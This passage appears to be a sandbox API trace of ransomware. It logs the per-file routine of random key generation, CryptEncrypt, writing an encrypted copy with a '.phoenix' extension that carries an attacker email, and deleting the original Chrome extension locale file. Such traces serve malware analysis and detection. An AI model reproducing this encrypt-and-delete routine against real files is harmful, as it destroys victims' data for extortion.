	[0265.043] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0265.043] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\nb\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\nb\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0265.044] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=16060) returned 1
	[0265.044] CloseHandle (hObject=0x2b0) returned 1
	[0265.044] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\nb\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\nb\\messages.json")) returned 0x20
	[0265.044] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\nb\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\nb\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0265.044] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\nb\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\nb\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0265.044] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0265.044] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0265.044] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\nb\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\nb\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0265.045] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151380) returned 1
	[0265.045] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0265.045] ReadFile (in: hFile=0x2b0, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x3ebc, lpOverlapped=0x0) returned 1
	[0265.123] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x3ec0, dwBufLen=0x3ec0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x3ec0) returned 1
	[0265.123] WriteFile (in: hFile=0x254, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x3ec0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x3ec0, lpOverlapped=0x0) returned 1
	[0265.124] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151400) returned 1
	[0265.124] CryptSetKeyParam (hKey=0x151400, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0265.124] CryptEncrypt (in: hKey=0x151400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0265.124] CryptDestroyKey (hKey=0x151400) returned 1
	[0265.124] WriteFile (in: hFile=0x254, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0265.124] CryptDestroyKey (hKey=0x151380) returned 1
	[0265.124] CloseHandle (hObject=0x2b0) returned 1
	[0265.124] CloseHandle (hObject=0x254) returned 1
	[0265.124] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\nb\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\nb\\messages.json")) returned 1
	[0265.125] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0265.125] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\pl\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\pl\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0265.126] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=16343) returned 1
	[0265.126] CloseHandle (hObject=0x254) returned 1
	[0265.126] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\pl\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\pl\\messages.json")) returned 0x20
	[0265.126] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\pl\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\pl\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0265.126] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\pl\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\pl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0265.126] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0265.126] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0265.126] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\pl\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\pl\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0265.127] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x1515c0) returned 1
	[0265.127] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0265.127] ReadFile (in: hFile=0x254, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x3fd7, lpOverlapped=0x0) returned 1
	[0265.212] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x3fe0, dwBufLen=0x3fe0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x3fe0) returned 1
	[0265.212] WriteFile (in: hFile=0x2b0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x3fe0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x3fe0, lpOverlapped=0x0) returned 1
	[0265.213] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151640) returned 1
	[0265.213] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0265.213] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0265.213] CryptDestroyKey (hKey=0x151640) returned 1
	[0265.213] WriteFile (in: hFile=0x2b0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0265.213] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0265.213] CloseHandle (hObject=0x254) returned 1
	[0265.213] CloseHandle (hObject=0x2b0) returned 1
	[0265.213] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\pl\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\pl\\messages.json")) returned 1
	[0265.214] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0265.214] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\ru\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\ru\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0265.219] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=18702) returned 1
	[0265.219] CloseHandle (hObject=0x2b0) returned 1
	[0265.220] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\ru\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\ru\\messages.json")) returned 0x20
	[0265.220] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\ru\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\ru\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0265.220] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\ru\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\ru\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0265.220] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0265.220] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0265.220] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\ru\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\ru\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0265.221] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151400) returned 1
	[0265.221] CryptSetKeyParam (hKey=0x151400, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0265.221] ReadFile (in: hFile=0x2b0, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x490e, lpOverlapped=0x0) returned 1
	[0265.313] CryptEncrypt (in: hKey=0x151400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x4910, dwBufLen=0x4910 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x4910) returned 1
	[0265.313] WriteFile (in: hFile=0x254, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x4910, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x4910, lpOverlapped=0x0) returned 1
	[0265.315] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151200) returned 1
	[0265.315] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0265.315] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0265.315] CryptDestroyKey (hKey=0x151200) returned 1
	[0265.315] WriteFile (in: hFile=0x254, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0265.315] CryptDestroyKey (hKey=0x151400) returned 1
	[0265.315] CloseHandle (hObject=0x2b0) returned 1
	[0265.315] CloseHandle (hObject=0x254) returned 1
	[0265.315] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\ru\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\ru\\messages.json")) returned 1
	[0265.317] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0265.317] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\sk\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\sk\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0265.317] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=16637) returned 1
	[0265.317] CloseHandle (hObject=0x254) returned 1
	[0265.318] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\sk\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\sk\\messages.json")) returned 0x20
	[0265.318] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\sk\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\sk\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0265.318] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\sk\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\sk\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0265.318] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0265.318] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0265.318] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\sk\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\sk\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0265.319] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x1515c0) returned 1
	[0265.319] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0265.319] ReadFile (in: hFile=0x254, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x40fd, lpOverlapped=0x0) returned 1
	[0265.359] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x4100, dwBufLen=0x4100 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x4100) returned 1
	[0265.359] WriteFile (in: hFile=0x2b0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x4100, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x4100, lpOverlapped=0x0) returned 1
	[0265.360] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151500) returned 1
	[0265.360] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0265.360] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0265.361] CryptDestroyKey (hKey=0x151500) returned 1
	[0265.361] WriteFile (in: hFile=0x2b0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0265.361] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0265.361] CloseHandle (hObject=0x254) returned 1
	[0265.361] CloseHandle (hObject=0x2b0) returned 1
	[0265.361] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\sk\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\sk\\messages.json")) returned 1
	[0265.362] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0265.362] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\sr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\sr\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0265.363] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=18881) returned 1
	[0265.363] CloseHandle (hObject=0x2b0) returned 1
	[0265.363] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\sr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\sr\\messages.json")) returned 0x20
	[0265.363] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\sr\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\sr\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0265.363] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\sr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\sr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0265.363] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
